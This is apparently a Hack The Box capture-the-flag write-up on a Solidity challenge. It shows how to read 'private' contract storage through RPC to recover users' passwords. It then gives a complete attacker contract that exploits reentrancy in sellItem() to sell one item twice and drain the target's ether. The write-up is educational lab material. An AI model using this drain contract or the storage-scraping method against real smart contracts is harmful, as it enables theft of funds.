Locked and Loaded — Hack The Box

Summary

The challenge combined two classic Solidity mistakes: trusting private storage for secrets and performing an external payment before internal state cleanup. By reading storage directly from the RPC endpoint, I recovered item owners and their passwords, transferred the only Mythic item to an attacker-controlled contract, and reentered sellItem() to sell the same item twice. That drained the full 2 ether from Lockers, making Setup.isSolved() return true.

Description

Organizer description was not preserved in the local task notes.

The remote instance exposed /connection_info and /rpc. The goal was to satisfy Setup.isSolved(), which checks whether address(TARGET).balance == 0.

Vulnerability Analysis

Relevant contracts

• Setup.sol funds the target with 2 ether and marks the instance solved when the target balance reaches zero.
• Lockers.sol manages users, items, transfers, and sales.

The important pricing detail was that price[Rarity.Mythic] = 1 ether, so selling the same Mythic item twice is enough to empty the contract.

Storage layout and why private is readable

In Solidity, private only prevents other contracts from accessing a variable through Solidity's type system. It does not encrypt or hide storage. Any RPC user can call eth_getStorageAt and read raw storage slots.

Two layouts mattered here:

1. items is a dynamic array at slot 3

   • slot 3 stores the array length
   • element data starts at keccak256(3)
   • each Item occupies 3 slots:
     • name
     • owner
     • rarity

   So item i starts at:

   base = keccak256(3)
   item_i = base + i * 3

2. users is mapping(string => string) at slot 0

   For a username key, the value slot is derived from the mapping base slot:

   user_slot = keccak256(bytes(username) || pad32(0))

   Because the values were plain strings, the stored passwords could be reconstructed from chain storage exactly like any other on-chain string.

Minimal recovery logic:

count = u256(get_storage(target, 3))
base = keccak256(slot_32(3))

for i in range(count):
    start = base + i * 3
    name = decode_storage_string(target, start)
    owner = decode_storage_string(target, start + 1)
    rarity = u256(get_storage(target, start + 2))

pw_slot = keccak256(owner.encode() + slot_32(0))
password = decode_storage_string(target, pw_slot)

Using that method against the remote instance recovered several items, including the only Mythic item:

• WizardsScepter
• owner: beliefspace
• password: ss4#Nq7nNyKMfZ=XESnOzP2hk:SSRCzo2QPk4w~~

Reentrancy in sellItem()

The sale path sent ether to the seller's wallet before deleting the item entry. That means control was handed to an external address while the item still existed and was still owned by the attacker.

Conceptually, the bug looked like this:

function sellItem(string memory name, string memory password) external {
    Item memory item = findItem(name, password);
    address payable seller = payable(usernameToWallet[item.owner]);
    uint256 amount = price[item.rarity];

    seller.call{value: amount}(""); // external interaction first
    delete items[index];              // state update too late
}

Because usernameToWallet[attackerUser] could be set to an attacker contract, the fallback receive() function could immediately call sellItem() again before delete items[index] executed. With a Mythic item priced at 1 ether and a funded balance of 2 ether, one reentrant sale was enough to drain everything.

Exploitation Steps

1. Pull instance data

• Fetch connection details from /connection_info
• Use the provided /rpc endpoint to query storage and send transactions

2. Enumerate all items and recover passwords

I parsed the target's storage directly:

• array length from slot 3
• item structs from keccak256(3) + i * 3
• user passwords from keccak256(bytes(username) || pad32(0))

This revealed that beliefspace owned the Mythic item WizardsScepter and exposed the owner's password.

3. Deploy the attacker contract

The attacker contract stored:

• target address
• attacker username/password
• chosen item name
• a boolean reentrancy guard

Core logic:

contract Drain {
    ILockers target;
    string attackerUser;
    string attackerPassword;
    string itemName;
    bool attacking;

    function register() external {
        target.getLocker(attackerUser, attackerPassword);
    }

    function prepare(string calldata _itemName, string calldata victimPassword) external {
        itemName = _itemName;
        target.transferItem(_itemName, attackerUser, victimPassword);
    }

    function attack() external {
        attacking = true;
        target.sellItem(itemName, attackerPassword);
        attacking = false;
    }

    receive() external payable {
        if (attacking && address(target).balance >= 1 ether) {
            target.sellItem(itemName, attackerPassword);
        }
    }
}

4. Register a locker from the attacker contract

This step was important because getLocker() binds the username to msg.sender. Calling it from the attacker contract ensured:

usernameToWallet[attackerUser] = Drain_contract_address

That made the payout during sellItem() land in the contract, which enabled reentrancy through receive().

5. Steal the Mythic item

With the recovered victim password, I transferred the valuable item to the attacker username:

drain.register()
drain.prepare("WizardsScepter", victim_password)

Under the hood, this called:

target.transferItem("WizardsScepter", attackerUser, victimPassword);

6. Sell the same item twice

Then I triggered the attack:

drain.attack()

Execution flow:

1. attack() calls sellItem(itemName, attackerPassword)
2. Lockers sends 1 ether to the attacker contract
3. receive() fires before delete items[index]
4. receive() reenters sellItem() for the same WizardsScepter
5. The second sale sends another 1 ether
6. Target balance becomes 0, so Setup.isSolved() returns true

7. Retrieve the flag

After the contract was drained, the instance was solved and /flag returned the challenge flag.

Minimal Exploit Outline

# 1. Read storage and recover victim credentials
items = read_items(target)
victim_password = recover_password("beliefspace")

# 2. Deploy Drain(target, attacker_user, attacker_password)
drain = deploy_drain(target, attacker_user, attacker_password)

# 3. Register locker from the contract itself
drain.register()

# 4. Move Mythic item to attacker-controlled username
drain.prepare("WizardsScepter", victim_password)

# 5. Reenter sellItem() and drain 2 ether total
drain.attack()

# 6. Confirm solve state and request the flag
assert setup.isSolved()